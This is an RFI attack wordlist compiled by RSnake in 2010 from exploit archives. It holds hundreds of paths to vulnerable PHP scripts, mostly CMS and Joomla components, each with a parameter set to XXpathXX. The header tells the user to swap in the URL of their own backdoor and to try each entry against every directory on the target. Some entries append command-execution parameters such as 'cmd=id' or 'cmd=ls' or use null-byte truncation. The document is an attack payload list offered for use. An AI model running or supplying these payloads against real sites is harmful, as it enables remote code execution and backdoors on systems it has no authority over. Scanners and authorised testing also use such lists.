# Compiled by RSnake 02/01/2010 Mostly from milw0rm osvdb.org and elsewhere.
# Change XXpathXX to the path of your backdoor.  Note that you may need to 
# try it against every directory on the target and because of how this was
# culled you may need to add a question mark to your own XXpathXX URL:
# Eg: XXpathXX => http://www.example.com/hax.txt?
/0_admin/modules/Wochenkarte/frontend/index.php?x_admindir=XXpathXX?
/123flashchat.php?e107path=XXpathXX
/2007/administrator/components/com_joomlaflashfun/admin.joomlaflashfun.php?mosConfig_live_site=XXpathXX
/22_ultimate/templates/header.php?mainpath=XXpathXX
/22_ultimate/templates/header.php?mainpath=XXpathXX?
/=XXpathXX
/?_CONFIG[files][functions_page]=XXpathXX
/?npage=-1&content_dir=XXpathXX%00&cmd=ls
/?npage=1&content_dir=XXpathXX%00&cmd=ls
/?show=XXpathXX?
/A-Blog/navigation/donation.php?navigation_start=XXpathXX
/A-Blog/navigation/latestnews.php?navigation_start=XXpathXX?
/A-Blog/navigation/links.php?navigation_start=XXpathXX?
/A-Blog/navigation/search.php?navigation_end=XXpathXX?
/A-Blog/sources/myaccount.php?open_box=XXpathXX?
/ACGVnews/header.php?PathNews=XXpathXX
/ATutor/documentation/common/frame_toc.php?section=XXpathXX
/ATutor/documentation/common/search.php?section=XXpathXX
/ATutor/documentation/common/vitals.inc.php?req_lang=XXpathXX
/ATutor/include/classes/module/module.class.php?row[dir_name]=XXpathXX
/ATutor/include/classes/phpmailer/class.phpmailer.php?lang_path=XXpathXX
/AdaptCMS_Lite_1.4_2/plugins/rss_importer_functions.php?sitepath=XXpathXX?
/Administration/Includes/configureText.php?path_prefix=XXpathXX
/Administration/Includes/contentHome.php?path_prefix=XXpathXX
/Administration/Includes/deleteContent.php?path_prefix=XXpathXX
/Administration/Includes/deleteUser.php?path_prefix=XXpathXX
/Administration/Includes/userHome.php?path_prefix=XXpathXX
/Agora_PATH//mdweb/admin/inc/organisations/country_insert.php?chemin_appli=XXpathXX?
/Agora_PATH//mdweb/admin/inc/organisations/form_org.inc.php?chemin_appli=XXpathXX?
/BE_config.php?_PSL[classdir]=XXpathXX
/BPNEWS/bn_smrep1.php?bnrep=XXpathXX?&
/Base/Application.php?pear_dir=XXpathXX
/Bcwb_PATH/dcontent/default.css.php?root_path_admin=XXpathXX
/Bcwb_PATH/include/startup.inc.php?root_path_admin=XXpathXX
/Bcwb_PATH/system/default.css.php?root_path_admin=XXpathXX
/Beautifier/Core.php?BEAUT_PATH=XXpathXX?
/BetaBlockModules//Module/Module.php?path_prefix=XXpathXX
/BetaBlockModules/AboutUserModule/AboutUserModule.php?path_prefix=XXpathXX
/BetaBlockModules/AddGroupModule/AddGroupModule.php?path_prefix=XXpathXX
/BetaBlockModules/AddMessageModule/AddMessageModule.php?path_prefix=XXpathXX
/BetaBlockModules/AudiosMediaGalleryModule/AudiosMediaGalleryModule.php?current_blockmodule_path=XXpathXX
/BetaBlockModules/CustomizeUIModule/desktop_image.php?path_prefix=XXpathXX
/BetaBlockModules/EditProfileModule/DynamicProfile.php?path_prefix=XXpathXX
/BetaBlockModules/EditProfileModule/external.php?path_prefix=XXpathXX
/BetaBlockModules/EnableModule/EnableModule.php?path_prefix=XXpathXX
/BetaBlockModules/ExternalFeedModule/ExternalFeedModule.php?path_prefix=XXpathXX
/BetaBlockModules/FlickrModule/FlickrModule.php?path_prefix=XXpathXX
/BetaBlockModules/GroupForumModule/GroupForumModule.php?path_prefix=XXpathXX
/BetaBlockModules/GroupForumPermalinkModule/GroupForumPermalinkModule.php?path_prefix=XXpathXX
/BetaBlockModules/GroupModerateContentModule/GroupModerateContentModule.php?path_prefix=XXpathXX
/BetaBlockModules/GroupModerateUserModule/GroupModerateUserModule.php?path_prefix=XXpathXX
/BetaBlockModules/GroupModerationModule/GroupModerationModule.php?path_prefix=XXpathXX
/BetaBlockModules/GroupsCategoryModule/GroupsCategoryModule.php?path_prefix=XXpathXX
/BetaBlockModules/GroupsDirectoryModule/GroupsDirectoryModule.php?path_prefix=XXpathXX
/BetaBlockModules/ImagesMediaGalleryModule/ImagesMediaGalleryModule.php?current_blockmodule_path=XXpathXX
/BetaBlockModules/ImagesModule/ImagesModule.php?path_prefix=XXpathXX
/BetaBlockModules/InvitationStatusModule/InvitationStatusModule.php?path_prefix=XXpathXX
/BetaBlockModules/LargestGroupsModule/LargestGroupsModule.php?path_prefix=XXpathXX
/BetaBlockModules/LinksModule/LinksModule.php?path_prefix=XXpathXX
/BetaBlockModules/LoginModule/remoteauth_functions.php?path_prefix=XXpathXX
/BetaBlockModules/LogoModule/LogoModule.php?path_prefix=XXpathXX
/BetaBlockModules/MediaFullViewModule/MediaFullViewModule.php?path_prefix=XXpathXX
/BetaBlockModules/MediaManagementModule/MediaManagementModule.php?path_prefix=XXpathXX
/BetaBlockModules/MembersFacewallModule/MembersFacewallModule.php?current_blockmodule_path=XXpathXX
/BetaBlockModules/MessageModule/MessageModule.php?path_prefix=XXpathXX
/BetaBlockModules/ModuleSelectorModule/ModuleSelectorModule.php?path_prefix=XXpathXX
/BetaBlockModules/MyGroupsModule/MyGroupsModule.php?path_prefix=XXpathXX
/BetaBlockModules/MyLinksModule/MyLinksModule.php?path_prefix=XXpathXX
/BetaBlockModules/MyNetworksModule.php?path_prefix=XXpathXX
/BetaBlockModules/NetworkAnnouncementModule/NetworkAnnouncementModule.php?path_prefix=XXpathXX
/BetaBlockModules/NetworkDefaultControlModule/NetworkDefaultControlModule.php?path_prefix=XXpathXX
/BetaBlockModules/NetworkDefaultLinksModule/NetworkDefaultLinksModule.php?path_prefix=XXpathXX
/BetaBlockModules/NetworkModerateUserModule/NetworkModerateUserModule.php?path_prefix=XXpathXX
/BetaBlockModules/NetworkResultContentModule/NetworkResultContentModule.php?path_prefix=XXpathXX
/BetaBlockModules/NetworkResultUserModule/NetworkResultUserModule.php?path_prefix=XXpathXX
/BetaBlockModules/NetworksDirectoryModule/NetworksDirectoryModule.php?path_prefix=XXpathXX
/BetaBlockModules/NewestGroupsModule/NewestGroupsModule.php?current_blockmodule_path=XXpathXX
/BetaBlockModules/PeopleModule/PeopleModule.php?path_prefix=XXpathXX
/BetaBlockModules/PopularTagsModule/PopularTagsModule.php?path_prefix=XXpathXX
/BetaBlockModules/PostContentModule/PostContentModule.php?path_prefix=XXpathXX
/BetaBlockModules/ProfileFeedModule/ProfileFeedModule.php?path_prefix=XXpathXX
/BetaBlockModules/RecentCommentsModule/RecentCommentsModule.php?path_prefix=XXpathXX
/BetaBlockModules/RecentPostModule/RecentPostModule.php?path_prefix=XXpathXX
/BetaBlockModules/RecentTagsModule/RecentTagsModule.php?path_prefix=XXpathXX
/BetaBlockModules/RegisterModule/RegisterModule.php?path_prefix=XXpathXX
/BetaBlockModules/SearchGroupsModule/SearchGroupsModule.php?path_prefix=XXpathXX
/BetaBlockModules/ShowAnnouncementModule/ShowAnnouncementModule.php?path_prefix=XXpathXX
/BetaBlockModules/ShowContentModule/ShowContentModule.php?path_prefix=XXpathXX
/BetaBlockModules/TakerATourModule/TakerATourModule.php?path_prefix=XXpathXX
/BetaBlockModules/UploadMediaModule/UploadMediaModule.php?current_blockmodule_path=XXpathXX
/BetaBlockModules/UserMessagesModule/UserMessagesModule.php?path_prefix=XXpathXX
/BetaBlockModules/UserPhotoModule/UserPhotoModule.php?path_prefix=XXpathXX
/BetaBlockModules/VideosMediaGalleryModule/VideosMediaGalleryModule.php?current_blockmodule_path=XXpathXX
/BetaBlockModules/ViewAllMembersModule/ViewAllMembersModule.php?path_prefix=XXpathXX
/Blog_CMS/admin/plugins/NP_UserSharing.php?DIR_ADMIN=XXpathXX?admin
/BsiliX_path]/files/mbox-action.php3?BSX_LIBDIR=XXpathXX
/CSLH2_path/txt-db-api/util.php?API_HOME_DIR=XXpathXX?
/CheckUpload.php?Language=XXpathXX&cmd=ls
/Contenido_4.8.4/contenido/backend_search.php?contenido_path=XXpathXX?
/Contenido_4.8.4/contenido/cronjobs/move_articles.php?cfg[path][contenido]=XXpathXX?
/Contenido_4.8.4/contenido/cronjobs/move_old_stats.php?cfg[path][contenido]=XXpathXX?
/Contenido_4.8.4/contenido/cronjobs/optimize_database.php?cfg[path][contenido]=XXpathXX?
/Contenido_4.8.4/contenido/cronjobs/run_newsletter_job.php?cfg[path][contenido]=XXpathXX?
/Contenido_4.8.4/contenido/cronjobs/send_reminder.php?cfg[path][contenido]=XXpathXX?
/Contenido_4.8.4/contenido/cronjobs/session_cleanup.php?cfg[path][contenido]=XXpathXX?
/Contenido_4.8.4/contenido/cronjobs/setfrontenduserstate.php?cfg[path][contenido]=XXpathXX?
/Contenido_4.8.4/contenido/includes/include.newsletter_jobs_subnav.php?cfg[path][contenido]=XXpathXX?
/Contenido_4.8.4/contenido/includes/include.newsletter_jobs_subnav.php?cfg[path][templates]=XXpathXX?
/Contenido_4.8.4/contenido/includes/include.newsletter_jobs_subnav.php?cfg[templates][right_top_blank]=XXpathXX?
/Contenido_4.8.4/contenido/plugins/content_allocation/includes/include.right_top.php?cfg[path][contenido]=XXpathXX?
/Contenido_4.8.4/contenido/plugins/content_allocation/includes/include.right_top.php?cfg[path][templates]=XXpathXX?
/Contenido_4.8.4/contenido/plugins/content_allocation/includes/include.right_top.php?cfg[templates][right_top_blank]=XXpathXX?
/CoupleDB.php?Parametre=0&DataDirectory=XXpathXX?
/DFF_PHP_FrameworkAPI-latest/include/DFF_affiliate_client_API.php?DFF_config[dir_include]=XXpathXX
/DFF_PHP_FrameworkAPI-latest/include/DFF_featured_prdt.func.php?DFF_config[dir_include]=XXpathXX
/DFF_PHP_FrameworkAPI-latest/include/DFF_mer.func.php?DFF_config[dir_include]=XXpathXX
/DFF_PHP_FrameworkAPI-latest/include/DFF_mer_prdt.func.php?DFF_config[dir_include]=XXpathXX
/DFF_PHP_FrameworkAPI-latest/include/DFF_paging.func.php?DFF_config[dir_include]=XXpathXX
/DFF_PHP_FrameworkAPI-latest/include/DFF_rss.func.php?DFF_config[dir_include]=XXpathXX
/DFF_PHP_FrameworkAPI-latest/include/DFF_sku.func.php?DFF_config[dir_include]=XXpathXX
/DFF_PHP_FrameworkAPI-latest/include/DFF_sku.func.php?DFF_config[dir_include]XXpathXX
/DON3/applications/don3_requiem.don3app/don3_requiem.php?app_path=XXpathXX
/DON3/applications/frontpage.don3app/frontpage.php?app_path=XXpathXX?
/Dir_phNNTP/article-raw.php?file_newsportal=XXpathXX?
/DynaTracker_v151/action.php?base_path=XXpathXX
/DynaTracker_v151/includes_handler.php?base_path=XXpathXX
/Easysite-2.0_path/configuration/browser.php?EASYSITE_BASE=XXpathXX?
/Ex/modules/threadstop/threadstop.php?exbb[home_path]=XXpathXX?
/Ex/modules/threadstop/threadstop.php?new_exbb[home_path]=XXpathXX?
/Exophpdesk_PATH/pipe.php?lang_file=XXpathXX
/FirstPost/block.php?Include=XXpathXX
/Flickrclient.php?path_prefix=XXpathXX
/FormTools1_5_0/global/templates/admin_page_open.php?g_root_dir=XXpathXX?
/FormTools1_5_0/global/templates/client_page_open.php?g_root_dir=XXpathXX?
/Full_Release/include/body_comm.inc.php?content=XXpathXX
/Gallery/displayCategory.php?basepath=XXpathXX
/Include/lib.inc.php3?Include=XXpathXX?
/Include/variables.php3?Include=XXpathXX?
/Jobline/admin.jobline.php?mosConfig_absolute_path=XXpathXX
/ListRecords.php?lib_dir=XXpathXX?&cmd=id
/Lorev1/third_party/phpmailer/class.phpmailer.php?lang_path=XXpathXX
/MOD_forum_fields_parse.php?phpbb_root_path=XXpathXX
/Mamblog/admin.mamblog.php?cfgfile=XXpathXX
/Net_DNS_PATH/DNS/RR.php?phpdns_basedir=XXpathXX?
/NuclearBB/tasks/send_queued_emails.php?root_path=XXpathXX?
/OpenSiteAdmin/indexFooter.php?path=XXpathXX%00
/OpenSiteAdmin/pages/pageHeader.php?path=XXpathXX?
/OpenSiteAdmin/scripts/classes/DatabaseManager.php?path=XXpathXX%00
/OpenSiteAdmin/scripts/classes/FieldManager.php?path=XXpathXX%00
/OpenSiteAdmin/scripts/classes/Filter.php?path=XXpathXX%00
/OpenSiteAdmin/scripts/classes/Filters/SingleFilter.php?path=XXpathXX%00
/OpenSiteAdmin/scripts/classes/Form.php?path=XXpathXX%00
/OpenSiteAdmin/scripts/classes/FormManager.php?path=XXpathXX%00
/OpenSiteAdmin/scripts/classes/LoginManager.php?path=XXpathXX%00
/PHP/includes/header.inc.php?root=XXpathXX?
/PHPDJ_v05/dj/djpage.php?page=XXpathXX?
/PaTh/index.php?rootpath=XXpathXX
/Path_Script/createurl.php?formurl=XXpathXX
/PhotoCart/adminprint.php?admin_folder=XXpathXX
/Picssolution/install/config.php?path=XXpathXX?
/RGboard/include/footer.php?_path[counter]=XXpathXX?
/SPIP-v1-7-2/inc-calcul.php3?squelette_cache=XXpathXX?
/SQuery/lib/gore.php?libpath=XXpathXX
/SazCart/admin/alayouts/default/pages/login.php?_saz[settings][site_url]=XXpathXX?
/SazCart/layouts/default/header.saz.php?_saz[settings][site_dir]=XXpathXX?
/ScriptPage/source/includes/load_forum.php?mfh_root_path=XXpathXX
/ScriptPath/footers.php?tinybb_footers=XXpathXX
/ScriptPath/index.php?page=XXpathXX
/Script_Path/config.inc.php?_path=XXpathXX?
/Scripts/app_and_readme/navigator/index.php?page=XXpathXX
/Scripts/mundimail/template/simpledefault/admin/_masterlayout.php?top=XXpathXX
/Somery/team.php?checkauth=XXpathXX
/Upload/install.php?skindir=XXpathXX
/Widgets/Base/Footer.php?sys_dir=XXpathXX
/Widgets/Base/widget.BifContainer.php?sys_dir=XXpathXX
/Widgets/Base/widget.BifRoot.php?sys_dir=XXpathXX
/Widgets/Base/widget.BifRoot2.php?sys_dir=XXpathXX
/Widgets/Base/widget.BifRoot3.php?sys_dir=XXpathXX
/Widgets/Base/widget.BifWarning.php?sys_dir=XXpathXX
/WordPress_Files/All_Users/wp-content/plugins/Enigma2.php?boarddir=XXpathXX?
/[path]/mybic_server.php?file=XXpathXX
/[path]/previewtheme.php?theme=1&inc_path=XXpathXX?cmd
/_administration/securite.php?cfg[document_uri]=XXpathXX
/_blogadata/include/struct_admin.php?incl_page=XXpathXX?
/_conf/_php-core/common-tpl-vars.php?admindir=XXpathXX
/_connect.php?root=XXpathXX
/_friendly/core/data/_load.php?friendly_path=XXpathXX
/_friendly/core/data/yaml.inc.php?friendly_path=XXpathXX
/_friendly/core/display/_load.php?friendly_path=XXpathXX
/_friendly/core/support/_load.php?friendly_path=XXpathXX
/_functions.php?prefix=XXpathXX
/_includes/settings.inc.php?approot=XXpathXX
/_theme/breadcrumb.php?rootBase=XXpathXX
/_wk/wk_lang.php?WK[wkPath]=XXpathXX
/abf_js.php?abs_pfad=XXpathXX?&cmd=id
/about.php?CONFIG[MWCHAT_Libs]=XXpathXX?
/about.php?bibtexrootrel=XXpathXX?
/aboutinfo.php?bibtexrootrel=XXpathXX?
/acc.php?page=XXpathXX
/access/login.php?path_to_root=XXpathXX
/account.php?insPath=XXpathXX
/accsess/login.php?path_to_root=XXpathXX
/active/components/xmlrpc/client.php?c[components]=XXpathXX
/ad_main.php?_mygamefile=XXpathXX
/add.cgi.php?blog_theme=XXpathXX
/add_link.php?blog_theme=XXpathXX
/addpost_newpoll.php?addpoll=preview&thispath=XXpathXX
/addressbook.php?GLOBALS[basedir]=XXpathXX?
/addsite.php?returnpath=XXpathXX
/addvip.php?msetstr["PROGSDIR"]=XXpathXX
/adm/krgourl.php?DOCUMENT_ROOT=XXpathXX?
/adm/my_statistics.php?DOCUMENT_ROOT=XXpathXX?
/admin.loudmouth.php?mainframe=XXpathXX
/admin.php?Madoa=XXpathXX?
/admin.php?cal_dir=XXpathXX
/admin.php?env_dir=XXpathXX
/admin.php?lang=XXpathXX
/admin.php?page[path]=XXpathXX?&cmd=ls
/admin.php?submit=submit&form_include_template=XXpathXX
/admin/PLUGINs/NP_UserSharing.php?DIR_ADMIN=XXpathXX?admin
/admin/ST_countries.php?include_path=XXpathXX?
/admin/ST_platforms.php?include_path=XXpathXX?
/admin/addentry.php?phpbb_root_path=XXpathXX?
/admin/addons/archive/archive.php?adminfolder=XXpathXX
/admin/admin.php?path=XXpathXX
/admin/admin.php?site_url=XXpathXX
/admin/admin_forgotten_password.php?root_folder_path=XXpathXX
/admin/admin_news_bot.php?root_path=XXpathXX?
/admin/admin_topic_action_logging.php?setmodules=attach&phpbb_root_path=XXpathXX
/admin/admin_topic_action_logging.php?setmodules=pagestart&phpbb_root_path=XXpathXX
/admin/admin_users.php?phpbb_root_path=XXpathXX
/admin/auth.php?xcart_dir=XXpathXX?
/admin/auth/secure.php?cfgProgDir=XXpathXX?
/admin/autoprompter.php?CONFIG[BASE_PATH]=XXpathXX
/admin/bin/patch.php?INSTALL_FOLDER=XXpathXX
/admin/catagory.php?language=XXpathXX
/admin/classes/pear/OLE/PPS.php?homedir=XXpathXX
/admin/classes/pear/OLE/PPS/File.php?homedir=XXpathXX
/admin/classes/pear/OLE/PPS/Root.php?homedir=XXpathXX
/admin/classes/pear/Spreadsheet/Excel/Writer.php?homedir=XXpathXX
/admin/classes/pear/Spreadsheet/Excel/Writer/BIFFwriter.php?homedir=XXpathXX
/admin/classes/pear/Spreadsheet/Excel/Writer/Format.php?homedir=XXpathXX
/admin/classes/pear/Spreadsheet/Excel/Writer/Parser.php?homedir=XXpathXX
/admin/classes/pear/Spreadsheet/Excel/Writer/Workbook.php?homedir=XXpathXX
/admin/classes/pear/Spreadsheet/Excel/Writer/Worksheet.php?homedir=XXpathXX
/admin/code/index.php?load_page=XXpathXX
/admin/comment.php?config[installdir]=XXpathXX
/admin/common-menu.php?CONF[local_path]=XXpathXX
/admin/components/com_fm/fm.install.php?lm_absolute_path=../../../&install_dir=XXpathXX?
/admin/config_settings.tpl.php?include_path=XXpathXX?&cmd=id
/admin/directory.php?config[installdir]=XXpathXX
/admin/doeditconfig.php?thispath=../includes&config[path]=XXpathXX
/admin/frontpage_right.php?loadadminpage=XXpathXX
/admin/header.php?loc=XXpathXX
/admin/inc/add.php?format_menue=XXpathXX
/admin/inc/change_action.php?format_menue=XXpathXX
/admin/include/common.php?commonIncludePath=XXpathXX?
/admin/include/header.php?repertoire=XXpathXX?
/admin/include/lib.module.php?mod_root=XXpathXX
/admin/includes/admin_header.php?level=XXpathXX?
/admin/includes/author_panel_header.php?level=XXpathXX?
/admin/includes/header.php?bypass_installed=1&secure_page_path=XXpathXX%00
/admin/includes/spaw/spaw_control.class.php?spaw_root=XXpathXX?
/admin/index.php?path_to_script=XXpathXX?&cmd=ls
/admin/index.php?pg=XXpathXX?
/admin/index.php?xtrphome=XXpathXX
/admin/index_sitios.php?_VIEW=XXpathXX
/admin/lib_action_step.php?GLOBALS[CLASS_PATH]=XXpathXX
/admin/login.php?absolute_path=XXpathXX
/admin/news.admin.php?path_to_script=XXpathXX?&cmd=ls
/admin/news.php?language=XXpathXX
/admin/plugins/Online_Users/main.php?GLOBALS[PT_Config][dir][data]=XXpathXX
/admin/sendmsg.php?config[installdir]=XXpathXX
/admin/setup/level2.php?dir=XXpathXX
/admin/system/config/conf-activation.php?site_path=XXpathXX
/admin/system/include.php?skindir=XXpathXX
/admin/system/include.php?start=1&skindir=XXpathXX
/admin/system/menu/item.php?site_path=XXpathXX
/admin/system/modules/conf_modules.php?site_path=XXpathXX
/admin/templates/template_thumbnail.php?thumb_template=XXpathXX
/admin/testing/tests/0004_init_urls.php?init_path=XXpathXX?&
/admin/themes.php?config[installdir]=XXpathXX
/admin/tools/utf8conversion/index.php?path=XXpathXX?
/admin/user_user.php?language=XXpathXX
/admincp/auth/checklogin.php?cfgProgDir=XXpathXX
/admincp/auth/secure.php?cfgProgDir=XXpathXX
/adminhead.php?path[docroot]=XXpathXX
/admini/admin.php?INC=XXpathXX?
/admini/index.php?INC=XXpathXX?
/administrator/admin.php?site_absolute_path=XXpathXX?
/administrator/components/com_bayesiannaivefilter/lang.php?mosConfig_absolute_path=XXpathXX
/administrator/components/com_chronocontact/excelwriter/PPS.php?mosConfig_absolute_path=XXpathXX?
/administrator/components/com_chronocontact/excelwriter/PPS/File.php?mosConfig_absolute_path=XXpathXX?
/administrator/components/com_chronocontact/excelwriter/Writer.php?mosConfig_absolute_path=XXpathXX?
/administrator/components/com_chronocontact/excelwriter/Writer/BIFFwriter.php?mosConfig_absolute_path=XXpathXX?
/administrator/components/com_chronocontact/excelwriter/Writer/Format.php?mosConfig_absolute_path=XXpathXX?
/administrator/components/com_chronocontact/excelwriter/Writer/Workbook.php?mosConfig_absolute_path=XXpathXX?
/administrator/components/com_chronocontact/excelwriter/Writer/Worksheet.php?mosConfig_absolute_path=XXpathXX?
/administrator/components/com_clickheat/Recly/Clickheat/Cache.php?GLOBALS[mosConfig_absolute_path]=XXpathXX
/administrator/components/com_clickheat/Recly/Clickheat/Clickheat_Heatmap.php?GLOBALS[mosConfig_absolute_path]=XXpathXX
/administrator/components/com_clickheat/Recly/common/GlobalVariables.php?GLOBALS[mosConfig_absolute_path]=XXpathXX
/administrator/components/com_clickheat/includes/heatmap/_main.php?mosConfig_absolute_path=XXpathXX
/administrator/components/com_clickheat/includes/heatmap/main.php?mosConfig_absolute_path=XXpathXX
/administrator/components/com_clickheat/includes/overview/main.php?mosConfig_absolute_path=XXpathXX
/administrator/components/com_clickheat/install.clickheat.php?GLOBALS[mosConfig_absolute_path]=XXpathXX
/administrator/components/com_color/admin.color.php?mosConfig_live_site=XXpathXX?
/administrator/components/com_competitions/includes/competitions/add.php?GLOBALS[mosConfig_absolute_path]=XXpathXX
/administrator/components/com_competitions/includes/competitions/competitions.php?GLOBALS[mosConfig_absolute_path]=XXpathXX
/administrator/components/com_competitions/includes/settings/settings.php?mosConfig_absolute_path=XXpathXX
/administrator/components/com_cropimage/admin.cropcanvas.php?cropimagedir=XXpathXX?
/administrator/components/com_dadamail/config.dadamail.php?GLOBALS[mosConfig_absolute_path]=XXpathXX
/administrator/components/com_dbquery/classes/DBQ/admin/common.class.php?mosConfig_absolute_path=XXpathXX
/administrator/components/com_events/admin.events.php?mosConfig_absolute_path=XXpathXX
/administrator/components/com_extcalendar/admin_settings.php?CONFIG_EXT[ADMIN_PATH]=XXpathXX
/administrator/components/com_extended_registration/admin.extended_registration.php?mosConfig_absolute_path=XXpathXX?
/administrator/components/com_feederator/includes/tmsp/add_tmsp.php?mosConfig_absolute_path=XXpathXX
/administrator/components/com_feederator/includes/tmsp/edit_tmsp.php?mosConfig_absolute_path=XXpathXX
/administrator/components/com_feederator/includes/tmsp/subscription.php?GLOBALS[mosConfig_absolute_path]=XXpathXX
/administrator/components/com_feederator/includes/tmsp/tmsp.php?mosConfig_absolute_path=XXpathXX
/administrator/components/com_googlebase/admin.googlebase.php?mosConfig_absolute_path=XXpathXX
/administrator/components/com_jcs/jcs.function.php?mosConfig_absolute_path=XXpathXX
/administrator/components/com_jcs/view/add.php?mosConfig_absolute_path=XXpathXX
/administrator/components/com_jcs/view/history.php?mosConfig_absolute_path=XXpathXX
/administrator/components/com_jcs/view/register.php?mosConfig_absolute_path=XXpathXX
/administrator/components/com_jcs/views/list.sub.html.php?mosConfig_absolute_path=XXpathXX
/administrator/components/com_jcs/views/list.user.sub.html.php?mosConfig_absolute_path=XXpathXX
/administrator/components/com_jcs/views/reports.html.php?mosConfig_absolute_path=XXpathXX
/administrator/components/com_jim/install.jim.php?mosConfig_absolute_path=XXpathXX?
/administrator/components/com_jjgallery/admin.jjgallery.php?mosConfig_absolute_path=XXpathXX?
/administrator/components/com_joom12pic/admin.joom12pic.php?mosConfig_live_site=XXpathXX
/administrator/components/com_joomla_flash_uploader/install.joomla_flash_uploader.php?mosConfig_absolute_path=XXpathXX
/administrator/components/com_joomla_flash_uploader/uninstall.joomla_flash_uploader.php?mosConfig_absolute_path=XXpathXX
/administrator/components/com_joomlaradiov5/admin.joomlaradiov5.php?mosConfig_live_site=XXpathXX
/administrator/components/com_jpack/includes/CAltInstaller.php?mosConfig_absolute_path=XXpathXX?
/administrator/components/com_jreactions/langset.php?comPath=XXpathXX?
/administrator/components/com_juser/xajax_functions.php?mosConfig_absolute_path=XXpathXX
/administrator/components/com_kochsuite/config.kochsuite.php?mosConfig_absolute_path=XXpathXX?
/administrator/components/com_lurm_constructor/admin.lurm_constructor.php?lm_absolute_path=XXpathXX?
/administrator/components/com_mmp/help.mmp.php?mosConfig_absolute_path=XXpathXX?
/administrator/components/com_mosmedia/includes/credits.html.php?mosConfig_absolute_path=XXpathXX
/administrator/components/com_mosmedia/includes/info.html.php?mosConfig_absolute_path=XXpathXX
/administrator/components/com_mosmedia/includes/media.divs.js.php?mosConfig_absolute_path=XXpathXX
/administrator/components/com_mosmedia/includes/media.divs.php?mosConfig_absolute_path=XXpathXX
/administrator/components/com_mosmedia/includes/purchase.html.php?mosConfig_absolute_path=XXpathXX
/administrator/components/com_mosmedia/includes/support.html.php?mosConfig_absolute_path=XXpathXX
/administrator/components/com_multibanners/extadminmenus.class.php?mosConfig_absolute_path=XXpathXX
/administrator/components/com_nfn_addressbook/nfnaddressbook.php?mosConfig_absolute_path=XXpathXX?
/administrator/components/com_ongumatimesheet20/lib/onguma.class.php?mosConfig_absolute_path=XXpathXX
/administrator/components/com_panoramic/admin.panoramic.php?mosConfig_live_site=XXpathXX
/administrator/components/com_phpshop/toolbar.phpshop.html.php?mosConfig_absolute_path=XXpathXX
/administrator/components/com_remository/admin.remository.php?mosConfig_absolute_path=XXpathXX
/administrator/components/com_rssreader/admin.rssreader.php?mosConfig_live_site=XXpathXX
/administrator/components/com_serverstat/install.serverstat.php?mosConfig_absolute_path=XXpathXX?
/administrator/components/com_swmenupro/ImageManager/Classes/ImageManager.php?mosConfig_absolute_path=XXpathXX?
/administrator/components/com_tour_toto/admin.tour_toto.php?mosConfig_absolute_path=XXpathXX?
/administrator/components/com_treeg/admin.treeg.php?mosConfig_live_site=XXpathXX
/administrator/components/com_webring/admin.webring.docs.php?component_dir=XXpathXX?
/administrator/components/com_wmtgallery/admin.wmtgallery.php?mosConfig_live_site=XXpathXX
/administrator/components/com_wmtportfolio/admin.wmtportfolio.php?mosConfig_absolute_path=XXpathXX
/administrator/components/com_wmtrssreader/admin.wmtrssreader.php?mosConfig_live_site=XXpathXX?
/administrator/menu_add.php?site_absolute_path=XXpathXX?
/administrator/menu_operation.php?site_absolute_path=XXpathXX?
/adminpanel/includes/add_forms/addmp3.php?GLOBALS[root_path]=XXpathXX
/adminpanel/includes/mailinglist/mlist_xls.php?GLOBALS[root_path]=XXpathXX?
/adodb/adodb-errorpear.inc.php?ourlinux_root_path=XXpathXX
/adodb/adodb-pear.inc.php?ourlinux_root_path=XXpathXX
/adodb/adodb.inc.php?path=XXpathXX
/advanced_comment_system/admin.php?ACS_path=XXpathXX?
/advanced_comment_system/index.php?ACS_path=XXpathXX?
/afb-3-beta-2007-08-28/_includes/settings.inc.php?approot=XXpathXX?
/agenda.php3?rootagenda=XXpathXX
/agenda2.php3?rootagenda=XXpathXX
/aides/index.php?page=XXpathXX?
/ains_main.php?ains_path=XXpathXX
/ajax/loadsplash.php?full_path=XXpathXX
/ajouter.php?include=XXpathXX?
/akarru.gui/main_content.php?bm_content=XXpathXX
/akocomments.php?mosConfig_absolute_path=XXpathXX
/amazon/cart.php?cmd=add&asin=XXpathXX
/amazon/index.php?lang=XXpathXX
/amazon/info.php?asin=XXpathXX
/annonce.php?page=XXpathXX?&cmd=id
/announcements.php?phpraid_dir=XXpathXX
/anzagien.php?config[root_ordner]=XXpathXX?cmd=id
/apbn/templates/head.php?APB_SETTINGS[template_path]=XXpathXX
/api.php?t_path_core=XXpathXX?&cmd=id
/apps/apps.php?app=XXpathXX
/appserv/main.php?appserv_root=XXpathXX
/arab3upload/customize.php?path=XXpathXX?&cmd=pwd
/arab3upload/initialize.php?path=XXpathXX?&cmd=pwd
/arash_lib/class/arash_gadmin.class.php?arashlib_dir=XXpathXX
/arash_lib/class/arash_sadmin.class.php?arashlib_dir=XXpathXX
/arash_lib/include/edit.inc.php?arashlib_dir=XXpathXX
/arash_lib/include/list_features.inc.php?arashlib_dir=XXpathXX
/archive.php?scriptpath=XXpathXX?
/aroundme/template/barnraiser_01/pol_view.tpl.php?poll=1&templatePath=XXpathXX%00
/artlist.php?root_path=XXpathXX
/assets/plugins/mp3_id/mp3_id.php?GLOBALS[BASE]=XXpathXX?cmd
/assets/snippets/reflect/snippet.reflect.php?reflect_base=XXpathXX?
/athena.php?athena_dir=XXpathXX
/auction/auction_common.php?phpbb_root_path=XXpathXX
/auction/includes/converter.inc.php?include_path=XXpathXX?
/auction/includes/messages.inc.php?include_path=XXpathXX?
/auction/includes/settings.inc.php?include_path=XXpathXX?
/auction/phpAdsNew/view.inc.php?phpAds_path=XXpathXX
/auth.cookie.inc.php?da_path=XXpathXX
/auth.header.inc.php?da_path=XXpathXX
/auth.sessions.inc.php?da_path=XXpathXX
/auth/auth.php?phpbb_root_path=XXpathXX
/auth/auth_phpbb/phpbb_root_path=XXpathXX
/authenticate.php?default_path_for_themes=XXpathXX?
/authentication/phpbb3/phpbb3.functions.php?pConfig_auth[phpbb_path]=XXpathXX
/authentication/smf/smf.functions.php?pConfig_auth[smf_path]=XXpathXX
/auto_check_renewals.php?installed_config_file=XXpathXX?cmd=ls
/autoindex.php?cfg_file=XXpathXX?
/awzmb/adminhelp.php?Setting[OPT_includepath]=XXpathXX
/awzmb/modules/admin.incl.php?Setting[OPT_includepath]=XXpathXX
/awzmb/modules/core/core.incl.php?Setting[OPT_includepath]=XXpathXX
/awzmb/modules/gbook.incl.php?Setting[OPT_includepath]=XXpathXX
/awzmb/modules/help.incl.php?Setting[OPT_includepath]=XXpathXX
